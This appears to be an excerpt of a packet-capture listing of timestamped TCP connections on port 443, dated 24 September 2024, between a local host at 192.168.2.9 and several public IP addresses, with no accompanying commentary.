Sep 24, 2024 06:29:46.549849987 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.553443909 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.553533077 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.554220915 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.554358959 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.554402113 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.558123112 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:46.558157921 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:46.558177948 CEST	49716	443	192.168.2.9	13.85.23.86
Sep 24, 2024 06:29:46.558187008 CEST	443	49716	13.85.23.86	192.168.2.9
Sep 24, 2024 06:29:46.596277952 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.596278906 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.596297979 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.641463995 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.655787945 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.655983925 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.656065941 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.656078100 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.656148911 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.656347036 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.660799026 CEST	49733	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.660820007 CEST	443	49733	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.684242010 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.684288979 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.684319973 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.684365988 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.684382915 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.684427977 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.684436083 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.684497118 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.685489893 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.685857058 CEST	49734	443	192.168.2.9	188.114.96.3
Sep 24, 2024 06:29:46.685875893 CEST	443	49734	188.114.96.3	192.168.2.9
Sep 24, 2024 06:29:46.715078115 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.717366934 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.717381954 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.717907906 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.719280005 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.719353914 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.719455004 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.738493919 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:46.738533974 CEST	443	49739	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:46.738639116 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:46.739064932 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:46.739078999 CEST	443	49739	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:46.766064882 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.766081095 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.814954996 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.815161943 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:46.815279961 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:46.920766115 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:46.939620972 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:46.971506119 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:46.994921923 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.119097948 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.119122028 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.119402885 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.119415998 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.120450974 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.120518923 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.121539116 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.121608973 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.121650934 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.123219967 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.123259068 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.123316050 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.127625942 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.127845049 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.128485918 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.128597021 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.128668070 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.129076004 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.129115105 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.129189968 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.129204035 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.163439989 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.165147066 CEST	49735	443	192.168.2.9	199.232.196.193
Sep 24, 2024 06:29:47.165199041 CEST	443	49735	199.232.196.193	192.168.2.9
Sep 24, 2024 06:29:47.171931982 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.171943903 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.171950102 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.204001904 CEST	443	49739	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.204282045 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.204292059 CEST	443	49739	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.205709934 CEST	443	49739	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.205809116 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206161976 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206162930 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206162930 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206249952 CEST	443	49739	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.206300020 CEST	49739	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206430912 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206501007 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.206562996 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206765890 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.206784964 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.218811035 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.218818903 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.239465952 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.239598989 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.239659071 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.239679098 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.239785910 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.239866972 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.239876032 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.239950895 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.239998102 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.240004063 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.240109921 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.240148067 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.240154982 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.240591049 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.240636110 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.240643024 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.263413906 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.293826103 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.293842077 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.304677010 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.304692030 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.304734945 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.304752111 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.304765940 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.304805994 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.304805994 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.304822922 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.304914951 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.305963993 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.305972099 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.305999041 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.306009054 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.306025982 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.306138992 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.306145906 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.306267977 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.308372021 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.308382988 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.308418989 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.308430910 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.308520079 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.308520079 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.308532000 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.308783054 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.327341080 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327430964 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.327449083 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327557087 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327641964 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327686071 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.327694893 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327734947 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.327739954 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327861071 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.327908039 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.327914953 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.328449011 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.328532934 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.328541994 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.328561068 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.328598022 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.328645945 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.329263926 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.329305887 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.329313993 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.329411030 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.329484940 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.329541922 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.329550028 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.329689026 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.330163956 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.330306053 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.330352068 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.330358982 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.374001026 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.392513037 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.392565012 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.392704964 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.392704964 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.392716885 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.392771959 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.392863989 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.392869949 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.392937899 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.393040895 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.402829885 CEST	49737	443	192.168.2.9	151.101.194.137
Sep 24, 2024 06:29:47.402846098 CEST	443	49737	151.101.194.137	192.168.2.9
Sep 24, 2024 06:29:47.414546967 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.414695978 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.414747000 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.414764881 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.414845943 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.414930105 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.414947987 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.414956093 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.415093899 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.415139914 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.415147066 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.415199041 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.415463924 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.415673971 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.415733099 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.415739059 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.416156054 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.416203976 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.416306973 CEST	49738	443	192.168.2.9	104.18.11.207
Sep 24, 2024 06:29:47.416323900 CEST	443	49738	104.18.11.207	192.168.2.9
Sep 24, 2024 06:29:47.666199923 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.666460037 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.666527033 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.667594910 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.667669058 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.668035984 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.668108940 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.668181896 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.668200970 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:47.717768908 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:47.765822887 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.766081095 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.766119003 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.767251015 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.767328978 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.768618107 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.768699884 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.811633110 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:47.811657906 CEST	443	49740	142.250.186.68	192.168.2.9
Sep 24, 2024 06:29:47.858490944 CEST	49740	443	192.168.2.9	142.250.186.68
Sep 24, 2024 06:29:48.049546003 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:48.049659014 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:48.049714088 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:48.051687002 CEST	49741	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:48.051712036 CEST	443	49741	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:48.058751106 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.058794022 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.059010983 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.059139967 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.059149981 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.525469065 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.526086092 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.526109934 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.527357101 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.527457952 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.528860092 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.529001951 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.529114008 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.575411081 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.583471060 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.583479881 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.630193949 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.656079054 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.656172991 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.656261921 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.656477928 CEST	49744	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.656502008 CEST	443	49744	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.656944990 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.656989098 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:48.657094002 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.657336950 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:48.657351971 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.120491028 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.120796919 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:49.120815039 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.121175051 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.121481895 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:49.121543884 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.121639013 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:49.167407990 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.171370029 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:49.249564886 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.249764919 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.249830008 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:49.250252008 CEST	49746	443	192.168.2.9	35.190.80.1
Sep 24, 2024 06:29:49.250272989 CEST	443	49746	35.190.80.1	192.168.2.9
Sep 24, 2024 06:29:49.810615063 CEST	49704	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:49.810739994 CEST	49704	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:49.816134930 CEST	443	49704	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:49.816157103 CEST	443	49704	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:49.816613913 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:49.816658974 CEST	443	49747	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:49.816729069 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:49.818814039 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:49.818834066 CEST	443	49747	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:50.411309958 CEST	443	49747	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:50.411405087 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:50.993592978 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:50.993712902 CEST	443	49747	23.206.229.209	192.168.2.9
Sep 24, 2024 06:29:50.993858099 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 24, 2024 06:29:53.109253883 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:53.109304905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:53.109376907 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:53.487169981 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:53.487201929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:53.987323999 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:53.987432003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:53.992050886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:53.992084980 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:53.992330074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.002084970 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.043396950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.599656105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.599788904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.599844933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.599869013 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.599975109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600013971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.600023031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600126028 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600212097 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600254059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.600263119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600362062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600424051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.600431919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.600482941 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.600490093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.655576944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.655591965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.706769943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.723428965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.723613977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.723702908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.723718882 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.723745108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.723855972 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.723917007 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.723927975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.723990917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.724373102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.724514008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.724594116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.724666119 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.724673986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.724706888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:54.724775076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:54.725207090 CEST	443	49748	188.114.97.3	192.168.2.9
